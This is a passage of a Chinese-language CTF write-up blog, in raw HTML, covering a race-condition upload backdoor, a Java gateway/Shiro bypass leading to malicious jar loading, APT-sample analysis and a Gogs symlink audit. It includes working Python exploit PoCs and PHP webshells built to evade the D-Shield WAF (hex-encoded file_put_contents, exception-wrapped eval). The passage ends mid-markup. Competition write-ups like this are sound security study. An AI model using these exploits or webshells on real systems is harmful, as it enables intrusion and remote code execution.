\/>\n<\/strong><\/p>\n<\/li>\n<\/ul>\n<p>\u6ce8\u610f\u5230\u5148 put_file_contents backdoor.php \u518d .htaccess \uff0c\u5b58\u5728 race condition\uff0c\u5f00\u591a\u4e2a\u7ebf\u7a0b\u7ade\u4e89 create \u8ddf zip\uff0c\u7206\u7387\u5728\u5343\u5206\u4e4b\u4e00\u5de6\u53f3\u3002<\/p>\n<pre class=\"lang:python decode:true \" title=\"POC\">import requests\r\nimport threading\r\nimport random, string, time\r\n\r\nurl = \"http:\/\/URL:PORT\/\"\r\nrequests.get(url)\r\n\r\nbatch = 200\r\nsubdir = ['\/'+''.join(random.choices(string.ascii_lowercase, k=8)) for _ in range(batch)]\r\ndef create(s):\r\n    requests.get(url, params={'action': 'clean', 'subdir': s})\r\n    def t1():\r\n        requests.get(url, params={'action': 'create', 'subdir': s})\r\n        print('.', end='', flush=True)\r\n    def t2():\r\n        requests.get(url, params={'action': 'zip', 'subdir': s})\r\n        print('!', end='', flush=True)\r\n    threading.Thread(target=t1).start()\r\n    threading.Thread(target=t2).start()\r\nfor s in subdir:\r\n    threading.Thread(target=create, args=(s,)).start()\r\ntime.sleep(15)\r\nlock = threading.Lock()\r\ndef check(s):\r\n    time.sleep(random.random()*10)\r\n    requests.get(url, params={'action': 'unzip', 'subdir': s})\r\n    res = requests.get(url.rpartition('\/')[0] + '' + s + '\/backdoor.php')\r\n    with lock:\r\n        if res.status_code in [403, 404]:\r\n            print(s, 'fail', res.status_code, flush=True)\r\n        else:\r\n            print(s, '!!!!', res.text, flush=True)\r\nfor s in subdir:\r\n    threading.Thread(target=check, args=(s,)).start()\r\ninput()<\/pre>\n<p><a id=\"easyjava\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; easyjava<\/strong><\/span><\/li>\n<\/ul>\n<p>\u9996\u5148 gateway \u4f7f\u7528 \/app;\/ \u7ed5\u8fc7 prefix match\uff0c\u8bbf\u95ee\u5230 microservice \u3002<\/p>\n<p>\u91cc\u8fb9\u7684 shiro \u7248\u672c\u8f83\u65b0\uff0c\u8003\u8651\u903b\u8f91\u6f0f\u6d1e\uff0c\u6ce8\u610f\u5230 \/**\/*.js \u53ef\u4ee5\u4e0d\u8fc7\u8ba4\u8bc1\u3002<\/p>\n<p>\u8def\u7531 staticResource\/upload \u5904\u6709\u4e00\u4e2a URLDecode \u53ef\u4ee5\u5f15\u5165 %2F \uff0c\u8fc7\u6b63\u5219\u7684\u662f file.originalName()\uff0c\u4f46\u6b63\u5219\u6ca1\u6709\u5339\u914d\u540e\u7f00\uff0c\u62fc\u63a5\u4e00\u4e0b\u53ef\u4ee5\u524d\u8fb9\u63a7\u5236\u6587\u4ef6\u540d\uff0c\u540e\u8fb9\u63a7\u5236\u540e\u7f00\uff0c\u5373 <code>staticResource\/upload\/custom-drivers%252F1.js%252F1.js<\/code> \uff0c\u63d0\u4ea4\u6587\u4ef6 1.js.jar \uff0c\u5373\u53ef\u5199\u5165 <code>static\/custom-drivers\/1.js\/1.js.jar<\/code> \u3002<\/p>\n<p>\u8def\u7531 addDriver \u5904\u53ef\u4ee5\u5f15\u5165\u5355\u4e2a\u6216\u76ee\u5f55\u4e0b\u7684 jar \u6587\u4ef6\uff0c\u5728\u8fd9\u91cc\u4f7f\u7528 addDriver\/1.js \u5373\u5728\u76ee\u5f55\u91cc\u641c\u7d22\uff0c\u7ed5\u8fc7\u540e\u7f00 .jar \u7684\u9650\u5236\u3002<\/p>\n<p>\u6700\u540e\u6839\u636e\u4ee3\u7801\u903b\u8f91 validate\/1.js \u52a0\u8f7d\u5230\u6076\u610f jar \u5373\u53ef getshell\u3002<\/p>\n<pre class=\"lang:python decode:true \" title=\"POC\">URL = 'http:\/\/URL:PORT\/app;\/'\r\nimport requests, json, io\r\nwith open('com.rce.jar', 'rb') as f:\r\n    fc = f.read()\r\nres = requests.post(f'{URL}staticResource\/upload\/custom-drivers%252F1.js%252F1.js', files={'file': ('1.js.jar', io.BytesIO(fc))})\r\nprint(res.text)\r\nres = requests.get(f'{URL}addDriver\/1.js')\r\nprint(res.text)\r\nconf = {'customDriver': 'com.rce.App', 'host': '', 'port': 1, 'username': '', 'password': '', 'dataBase': 'a', 'schema': ''}\r\ndata = {'configuration': json.dumps(conf), 'type': 'mysql'}\r\nres = requests.post(f'{URL}validate\/1.js', json=data)\r\nprint(res.text)<\/pre>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><span style=\"font-size: 20px;\"><strong><a id=\"hitctf\"><\/a> 2023\u5e7411\u6708\u00a0 HITCTF<br \/>\n<\/strong><\/span><\/p>\n<ul>\n<li>\n<p><span style=\"font-size: 20px;\"><strong>Reverse &amp; Web<\/strong><\/span><\/p>\n<\/li>\n<\/ul>\n<p>\u5728 C:\\Windows\\winpool.sys \u91cc\u8fb9\u627e\u5230\u9a71\u52a8\uff08\u66f4\u65b0\u65f6\u95f4\u4e3a\u6700\u8fd1\uff09\u3002<br \/>\n\u6682\u4e0d\u7528\u5206\u6790\uff0c\u63d0\u53d6\u5b57\u7b26\u4e32\u80fd\u770b\u5230\u660e\u663e\u7684\u4e00\u4e32 base64\uff0c\u5373\u4e3a flag1 \u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1881\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-winpool.png\" alt=\"\" width=\"852\" height=\"314\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-winpool.png 852w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-winpool-300x111.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-winpool-150x55.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-winpool-768x283.png 768w\" sizes=\"auto, (max-width: 852px) 100vw, 852px\" \/><\/p>\n<p>\u5728 C:\\Windows\\Temp\\window.exe \u5904\u627e\u5230\u53ef\u7591\u7a0b\u5e8f\uff08\u66f4\u65b0\u65e5\u671f\u4e3a\u6700\u8fd1\uff09\u3002<br \/>\n\u6682\u4e0d\u7528\u5206\u6790\uff0c\u5148\u6254\u5230\u6c99\u7bb1\u91cc\u8dd1\u7740\uff0c\u80fd\u770b\u5230\u5f80\u5916\u51fa\u8fde\u4e00\u4e2a IP\uff0c\u5373\u4e3a flag2\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1882\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-window-exe.png\" alt=\"\" width=\"848\" height=\"248\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-window-exe.png 848w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-window-exe-300x88.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-window-exe-150x44.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-window-exe-768x225.png 768w\" sizes=\"auto, (max-width: 848px) 100vw, 848px\" \/><\/p>\n<p>IDA \u6253\u5f00\uff0c\u7ffb\u7ffb\u4ee3\u7801\u80fd\u627e\u5230\u8fd9\u79cd\u4e00\u5927\u957f\u4e32\uff0c\u7136\u540e\u524d\u8fb9\u6709\u4e2a\u52a0\u82b1 jmp \u7684\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1883\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-window-exe.png\" alt=\"\" width=\"848\" height=\"645\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-window-exe.png 848w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-window-exe-300x228.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-window-exe-150x114.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-window-exe-768x584.png 768w\" sizes=\"auto, (max-width: 848px) 100vw, 848px\" \/><\/p>\n<p>\u4fee\u590d\u5b8c\u4e4b\u540e\u4e00\u4e2a F5\uff0c\u80fd\u53d1\u73b0\u5176\u5b9e\u5c31\u662f\u51e0\u4e2a\u7b80\u5355\u7684\u5f02\u6216\u5b57\u7b26\u4e32\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1884\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-fixed-window-exe.png\" alt=\"\" width=\"516\" height=\"772\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-fixed-window-exe.png 516w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-fixed-window-exe-201x300.png 201w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-ida-fixed-window-exe-100x150.png 100w\" sizes=\"auto, (max-width: 516px) 100vw, 516px\" \/><\/p>\n<p>\u8fd8\u6709\u4e00\u5904\u7c7b\u4f3c\u7684\u5730\u65b9\uff0c\u52a0\u8d77\u6765\u80fd\u89e3\u51fa\u4ee5\u4e0b\u8fd9\u4e9b\u5b57\u7b26\u4e32\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1885\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str1.png\" alt=\"\" width=\"430\" height=\"275\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str1.png 430w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str1-300x192.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str1-150x96.png 150w\" sizes=\"auto, (max-width: 430px) 100vw, 430px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1886\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str2.png\" alt=\"\" width=\"789\" height=\"90\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str2.png 789w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str2-300x34.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str2-150x17.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-extract-str2-768x88.png 768w\" sizes=\"auto, (max-width: 789px) 100vw, 789px\" \/><\/p>\n<p>\u770b\u4e00\u4e0b winhe1p.exe \u5c31\u662f wget\uff0c\u6ca1\u4ec0\u4e48\u82b1\u6837\u3002456 \u5c31\u662f\u4e2a\u7eaf cmd.exe\uff0c\u4e5f\u6ca1\u5f97\u73a9\u610f\u3002\u4e3b\u8981\u662f\u628a hta \u5f04\u4e0b\u6765\u5206\u6790\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1887\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta.png\" alt=\"\" width=\"790\" height=\"563\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta.png 790w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-300x214.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-150x107.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-768x547.png 768w\" sizes=\"auto, (max-width: 790px) 100vw, 790px\" \/><\/p>\n<p>preBotHta \u5173\u952e\u5b57\u6709\u4e86\uff0c\u641c\u5230\u662f\u54cd\u5c3e\u86c7APT\u6837\u672c\uff0c\u53ef\u4ee5\u5bf9\u6bd4\u7740\u770b\u770b\u3002<br \/>\n\u8fd9\u91cc ad \u4e00\u773c H4sIA \u8d77\u5934\u7684\uff0cbase64 \u5b8c gzip \u5c31\u80fd\u770b\u5230 flag3\u3002<\/p>\n<p>\u7136\u540e so \u662f\u5220\u51cf\u8fc7\u7684 .NET \u6837\u672c\uff0c\u5206\u6790\u5b8c\u5c31\u77e5\u9053\u91cc\u8fb9\u6ca1\u6709 flag\uff0c\u6240\u4ee5\u53ef\u4ee5\u4e0d\u7528\u5206\u6790\u3002<br \/>\n\u63a5\u7740\u5c31\u662f\u8ff7\u4e4b\u6ce8\u91ca exe key \u7684\u8fd9\u79cd hex-string\uff0c\u4e0d\u5f97\u4e0d\u8111\u6d1e\u5927\u5f00\u4e00\u4e0b\uff0c\u987a\u5229\u89e3\u51fa\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1888\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-flag.png\" alt=\"\" width=\"983\" height=\"208\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-flag.png 983w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-flag-300x63.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-flag-150x32.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-flag-768x163.png 768w\" sizes=\"auto, (max-width: 983px) 100vw, 983px\" \/><\/p>\n<p>\u81f3\u4e8e\u4e3a\u4ec0\u4e48 IV \u53d6 000&#8230;&#8230;\uff0c\u6216\u8bb8\u8fd9\u5c31\u662f\u5148\u4eba\u7684\u667a\u6167\u3002<\/p>\n<p>\u4e0b\u4e00\u90e8\u5206\uff0chta \u6587\u4ef6\u91cc\u8fb9\u6709\u8fd9\u4e2a\uff0c\u600e\u4e48\u770b\u90fd\u662f web \u7684\u5165\u53e3\u70b9\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1889\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-web.png\" alt=\"\" width=\"783\" height=\"185\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-web.png 783w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-web-300x71.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-web-150x35.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-hta-web-768x181.png 768w\" sizes=\"auto, (max-width: 783px) 100vw, 783px\" \/><\/p>\n<p>\u4e0d\u77e5\u9053\u5e72\u4ec0\u4e48\u7684\uff0c\u4e71\u6572\u952e\u76d8 fuzz test\uff0c\u7206\u51fa\u4e86\u6709\u610f\u601d\u7684\u9519\u8bef\uff1a<\/p>\n<pre class=\"lang:default decode:true \" title=\"Error message in fuzz test\">172.19.10.2_winkm7\":!@$#^*()_ 3&lt;br \/&gt;\r\n&lt;b&gt;Warning&lt;\/b&gt;:  fopen(C:\\challenge\\users\\172.19.10.2_winkm7&amp;quot;:!@$#^*()_ 3): Failed to open stream: No such file or directory in &lt;b&gt;C:\\challenge\\join.php&lt;\/b&gt; on line &lt;b&gt;22&lt;\/b&gt;&lt;br \/&gt;\r\nCrate File Failed.&lt;br \/&gt;\r\n&lt;b&gt;Fatal error&lt;\/b&gt;:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in C:\\challenge\\join.php:26\r\nStack trace:\r\n#0 C:\\challenge\\join.php(26): fwrite(false, '2023-11-25 11:1...')\r\n#1 C:\\challenge\\join.php(44): write_log('C:\\\\challenge\\\\us...', 'winkm7&amp;quot;:!@$#^*(...', 'vt')\r\n#2 {main}\r\n  thrown in &lt;b&gt;C:\\challenge\\join.php&lt;\/b&gt; on line &lt;b&gt;26&lt;\/b&gt;&lt;br \/&gt;\r\n<\/pre>\n<p>\u7136\u540e\u5c31\u53ef\u4ee5\u731c\u5230 hname \u88ab\u62fc\u5165\u6587\u4ef6\u540d\uff0cuname \u662f\u6587\u4ef6\u5185\u5bb9\u4e86\u3002\u987a\u5e26\u76ee\u5f55\u4e5f\u51fa\u6765\u4e86\u3002<br \/>\n\u968f\u5373\u53d1\u73b0\u6709D\u76fe\uff0c\u5199\u4e0d\u4e86\u592a\u660e\u663e\u7684\u9a6c\u9a6c\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1890\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-dshield.png\" alt=\"\" width=\"712\" height=\"298\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-dshield.png 712w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-dshield-300x126.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-dshield-150x63.png 150w\" sizes=\"auto, (max-width: 712px) 100vw, 712px\" \/><\/p>\n<p>\u4e0a\u4f20\u70b9\u8fd9\u91cc\u7684\u76fe\u6bd4\u8f83\u6ce8\u91cd\u5173\u952e\u8bcd\uff0c\u540e\u8fb9\u6267\u884c\u70b9\u90a3\u91cc\u7684\u76fe\u6bd4\u8f83\u6ce8\u91cd\u8c03\u7528\u94fe\u3002<br \/>\n\u6240\u4ee5\u968f\u4fbf\u5305\u4e00\u5c42 class \u5c31\u80fd\u8fc7\uff0cbin2hex \u5199\u5165\u65b0\u7684 php \u6587\u4ef6\u3002<\/p>\n<pre class=\"lang:php decode:true \" title=\"Bypass D-shield upload restriction\">&lt;?php\r\nclass A {\r\n    public function __call($name, $args) {\r\n        hex2bin($name)('hello.php', $args[0]);\r\n    }\r\n};\r\n$a = new A();\r\n$b = '66696c655f7075745f636f6e74656e7473'; \/\/ file_put_contents\r\n$a-&gt;$b(hex2bin('3c3f70687020406576616c28245f4745545b305d293b'));\r\n<\/pre>\n<p>\u7136\u540e\u8981 eval() \u7684\u8bdd\uff0c\u4ece\u7f51\u4e0a\u641c\u6765\u4e00\u79cd\u9a9a\u64cd\u4f5c\uff0c\u5c31\u662f\u90a3\u65e0\u7a77\u65e0\u5c3d\u7684 for \u4e0e try \u7684\u53e6\u4e00\u8fb9<\/p>\n<pre class=\"lang:php decode:true \" title=\"Bypass D-shield to eval()\">&lt;?php\r\nfunction controller($name)\r\n{\r\n    for ($i = 1; $i &gt; 0; $i--) {\r\n        foreach ([1] as $v){\r\n            try {\r\n                assert($name);\r\n                throw new Exception($name);\r\n            }catch (Exception $exception){\r\n                eval($exception-&gt;getMessage());\r\n            }\r\n        }\r\n    }\r\n}\r\ncontroller(base64_decode($_GET[0]));\r\n<\/pre>\n<p>\u4e0a\u7ebf\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1891\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-behinder.png\" alt=\"\" width=\"781\" height=\"454\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-behinder.png 781w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-behinder-300x174.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-behinder-150x87.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-behinder-768x446.png 768w\" sizes=\"auto, (max-width: 781px) 100vw, 781px\" \/><\/p>\n<p>\u51b0\u874e\u8c8c\u4f3c\u6709\u70b9 bug\uff0c\u5217\u4e0d\u51fa\u6587\u4ef6\uff0c\u4f46\u4e0d\u5f71\u54cd\u62ff flag\u3002<br \/>\n\u70b9\u70b9\u5c31\u80fd\u53d1\u73b0\uff0c\u5728 .\/tmp\/flag1.txt \u8fd9\u91cc\uff0c\u5185\u5bb9\u8fd8\u633a\u8bbd\u523a\u7684\u54c8\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1892\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag1.png\" alt=\"\" width=\"568\" height=\"132\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag1.png 568w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag1-300x70.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag1-150x35.png 150w\" sizes=\"auto, (max-width: 568px) 100vw, 568px\" \/><\/p>\n<p>flag2 \u4e5f\u5c31\u51fa\u6765\u4e86\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1893\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag2.png\" alt=\"\" width=\"789\" height=\"470\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag2.png 789w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag2-300x179.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag2-150x89.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag2-768x457.png 768w\" sizes=\"auto, (max-width: 789px) 100vw, 789px\" \/><\/p>\n<p>\u7136\u540e\u5728 loser.db.bak \u91cc\u53d1\u73b0\u4e00\u4e32\u7c7b\u4f3c MD5 \u7684\u4e1c\u897f\u3002 net user \u91cc\u8fb9\u6709\u8fd9\u4e2a\u7528\u6237\uff0c\u76ee\u6d4b\u5c31\u662f\u5bc6\u7801\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1894\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-bakmd5.png\" alt=\"\" width=\"752\" height=\"322\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-bakmd5.png 752w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-bakmd5-300x128.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-bakmd5-150x64.png 150w\" sizes=\"auto, (max-width: 752px) 100vw, 752px\" \/><\/p>\n<p>\u8fde\u4e0a RDP \u5c31\u80fd\u62ff\u5230 flag3<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1895\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag3.png\" alt=\"\" width=\"456\" height=\"780\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag3.png 456w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag3-175x300.png 175w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/hitctf-web-flag3-88x150.png 88w\" sizes=\"auto, (max-width: 456px) 100vw, 456px\" \/><\/p>\n<p>\u540e\u6ce8\uff1a\u4e4b\u540e\u7684\u4e24\u4e2a flag \u7528 CVE-2021-????? \u63d0\u5b8c\u6743\u4e00\u4e0b\u5b50\u5c31\u62ff\u5230\u4e86\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565\u5f53\u65f6\u6ca1\u8bd5\u6210\u529f&#8230;&#8230;<\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><span style=\"font-size: 20px;\"><strong><a id=\"ggos\"><\/a> 2023\u5e7410\u6708\u00a0 N1CTF<br \/>\n<\/strong><\/span><\/p>\n<ul>\n<li>\n<p><strong><span style=\"font-size: 20px;\">web &gt;&gt; ggos<\/span><br \/>\n<\/strong><\/p>\n<\/li>\n<\/ul>\n<p>\u7ffb\u4e86\u4e00\u904d\u73b0\u6210\u7684\u6d1e\uff0c\u7136\u540e\u5c31\u662f\u8feb\u771f\u6316 0day \u4e86\u3002<\/p>\n<p>CVE-2022-0415 \u6bd4\u8f83\u91cd\u8981\uff0c\u5177\u4f53\u6765\u8bf4\u5c31\u662f\u5229\u7528\u672a\u8fc7\u6ee4\u7684\u8def\u5f84\u5199\u5165 .git\/config \u7136\u540e\u5229\u7528 sshCommand \u6765 getshell\u3002\u5b83\u7684 patch \u6bd4\u8f83\u5b8c\u5168\uff0c\u786c\u8fc7\u6ee4\u4e86\u8def\u5f84\u4e2d .git\/ \u7684\u90e8\u5206\uff0c\u65e0\u6cd5\u7ed5\u8fc7\u3002<\/p>\n<p>\u7136\u540e\u5728\u4f17\u591a\u7684\u9009\u9879\u4e2d\u614e\u91cd\u5730\u9009\u51fa\u4e86\u4e00\u4e2a\uff1a\u8003\u8651 symlink \u7684\u5904\u7406\u3002\u4f17\u6240\u5468\u77e5\uff0cgit \u662f\u652f\u6301 symlink \u7684\uff0c\u5728\u540c\u6b65\u65f6\u4f1a\u4fdd\u7559\u5176 120000 \u7684\u5c5e\u6027\uff0c\u6587\u4ef6\u5185\u5bb9\u4e3a\u6240\u6307\u5411\u7684\u8def\u5f84\u3002<\/p>\n<p>\u4f46\u672c\u6b21\u7684 gogs \u5e76\u975e\u76f4\u63a5\u5bf9 symlink \u6587\u4ef6\u8fdb\u884c IO \u64cd\u4f5c\uff0c\u800c\u662f\u7ecf\u7531\u81ea\u5b9a\u4e49\u7684 git \u6a21\u5757\u5904\u7406\u6587\u4ef6\u5c42\u7ea7\u5173\u7cfb\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u76f4\u63a5\u8bfb\u51fa\u6765\u7684\u4f1a\u662f\u8be5 symlink \u6240\u6307\u5411\u7684\u8def\u5f84\u5b57\u7b26\u4e32\uff0c\u4e0d\u5b58\u5728\u4efb\u610f\u8bfb\u7684\u95ee\u9898\u3002<\/p>\n<p>\u4ece internal\/cmd\/web.go \u5165\u624b\uff0c\u9010\u6761\u5ba1\u8ba1\u8def\u7531\u3002<\/p>\n<p>\u6ce8\u610f\u5230 wiki\/:page\/ \u7cfb\u5217\uff0c\u5176\u53ef\u5bf9 wiki repo \u4e0b\u7684 .md \u6587\u4ef6\u8fdb\u884c\u8bfb\u5199\u64cd\u4f5c\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1896\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-wiki.png\" alt=\"\" width=\"772\" height=\"363\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-wiki.png 772w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-wiki-300x141.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-wiki-150x71.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-wiki-768x361.png 768w\" sizes=\"auto, (max-width: 772px) 100vw, 772px\" \/><\/p>\n<p>\u53ef\u80fd\u4e4b\u524d\u7206\u8fc7\u7c7b\u4f3c\u7684\u6d1e\uff0c\u8fd9\u91cc\u867d\u7136\u5bf9 repo \u4e2d\u7684\u6587\u4ef6\u8fdb\u884c IO \u64cd\u4f5c\u4e86\uff0c\u4f46\u662f\u5728\u539f\u6765\u7684 symlink \u88ab\u5220\u9664\u4e4b\u540e\u3002<\/p>\n<p>\u63a5\u7740\u6765\u5230 \/_edit\/* \/_new\/* \u5904\uff0c\u53ef\u4ee5\u53d1\u73b0\u8fd9\u91cc\u4e5f\u5b58\u5728\u8fc7\u6ee4\uff0c\u65e0\u6cd5\u5bf9 symlink \u5199\u5165\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1897\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-editor.png\" alt=\"\" width=\"1175\" height=\"592\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-editor.png 1175w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-editor-300x151.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-editor-1024x516.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-editor-150x76.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/gogs-code-editor-768x387.png 768w\" 